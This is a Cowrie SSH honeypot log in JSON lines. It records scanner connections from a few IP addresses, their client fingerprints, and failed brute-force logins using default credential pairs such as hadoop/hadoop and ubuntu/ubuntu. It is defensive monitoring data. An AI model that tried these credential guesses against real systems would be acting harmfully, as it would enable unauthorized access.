{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:25.740241Z","src_ip":"193.32.162.151","session":"2f35e63d2d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:25.909524Z","src_ip":"193.32.162.151","session":"2f35e63d2d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:26.504864Z","src_ip":"193.32.162.151","session":"2f35e63d2d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:27.613366Z","src_ip":"193.32.162.151","session":"2f35e63d2d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":53154,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce14054db3d","protocol":"ssh","message":"New connection: 92.118.39.76:53154 (159.203.135.109:22) [session: 4ce14054db3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:27.683404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:27.687591Z","src_ip":"92.118.39.76","session":"4ce14054db3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:27.793851Z","src_ip":"92.118.39.76","session":"4ce14054db3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:28.114981Z","src_ip":"92.118.39.76","session":"4ce14054db3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:29.223838Z","src_ip":"92.118.39.76","session":"4ce14054db3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4337d79b02b1","protocol":"ssh","message":"New connection: 193.32.162.151:47302 (159.203.135.109:22) [session: 4337d79b02b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:36.952057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:36.958534Z","src_ip":"193.32.162.151","session":"4337d79b02b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:37.072785Z","src_ip":"193.32.162.151","session":"4337d79b02b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:37.660665Z","src_ip":"193.32.162.151","session":"4337d79b02b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:38.794267Z","src_ip":"193.32.162.151","session":"4337d79b02b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":40058,"dst_ip":"159.203.135.109","dst_port":22,"session":"052b5997907f","protocol":"ssh","message":"New connection: 92.118.39.76:40058 (159.203.135.109:22) [session: 052b5997907f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:41.440614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:41.448356Z","src_ip":"92.118.39.76","session":"052b5997907f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:41.552393Z","src_ip":"92.118.39.76","session":"052b5997907f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:41.870416Z","src_ip":"92.118.39.76","session":"052b5997907f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:20:42.978346Z","src_ip":"92.118.39.76","session":"052b5997907f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":55184,"dst_ip":"159.203.135.109","dst_port":22,"session":"abd0bef7995d","protocol":"ssh","message":"New connection: 92.118.39.76:55184 (159.203.135.109:22) [session: abd0bef7995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:52.679745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:52.684405Z","src_ip":"92.118.39.76","session":"abd0bef7995d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:52.784587Z","src_ip":"92.118.39.76","session":"abd0bef7995d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:53.086537Z","src_ip":"92.118.39.76","session":"abd0bef7995d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:54.191338Z","src_ip":"92.118.39.76","session":"abd0bef7995d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34964,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d830811528e","protocol":"ssh","message":"New connection: 193.32.162.151:34964 (159.203.135.109:22) [session: 7d830811528e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:54.462775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:54.469283Z","src_ip":"193.32.162.151","session":"7d830811528e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:54.585398Z","src_ip":"193.32.162.151","session":"7d830811528e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:54.905254Z","src_ip":"193.32.162.151","session":"7d830811528e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:22:56.017175Z","src_ip":"193.32.162.151","session":"7d830811528e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc91bffc5f89","protocol":"ssh","message":"New connection: 80.94.92.186:39546 (10.17.0.5:22) [session: fc91bffc5f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:24:52.247943Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:24:52.355738Z","src_ip":"80.94.92.186","session":"fc91bffc5f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"5efc1f4dc3d6","protocol":"ssh","message":"New connection: 92.118.39.76:42102 (159.203.135.109:22) [session: 5efc1f4dc3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:04.174401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:04.179395Z","src_ip":"92.118.39.76","session":"5efc1f4dc3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:04.285187Z","src_ip":"92.118.39.76","session":"5efc1f4dc3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:04.613530Z","src_ip":"92.118.39.76","session":"5efc1f4dc3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:05.723063Z","src_ip":"92.118.39.76","session":"5efc1f4dc3d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"df5e06fb1255","protocol":"ssh","message":"New connection: 193.32.162.151:50854 (159.203.135.109:22) [session: df5e06fb1255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:12.468721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:12.473317Z","src_ip":"193.32.162.151","session":"df5e06fb1255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:12.574985Z","src_ip":"193.32.162.151","session":"df5e06fb1255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"12345678","message":"login attempt [hadoop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:12.887177Z","src_ip":"193.32.162.151","session":"df5e06fb1255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:25:13.991729Z","src_ip":"193.32.162.151","session":"df5e06fb1255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":54082,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b0d3164914d","protocol":"ssh","message":"New connection: 2.57.121.25:54082 (10.17.0.5:22) [session: 9b0d3164914d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:20.925278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:20.929922Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
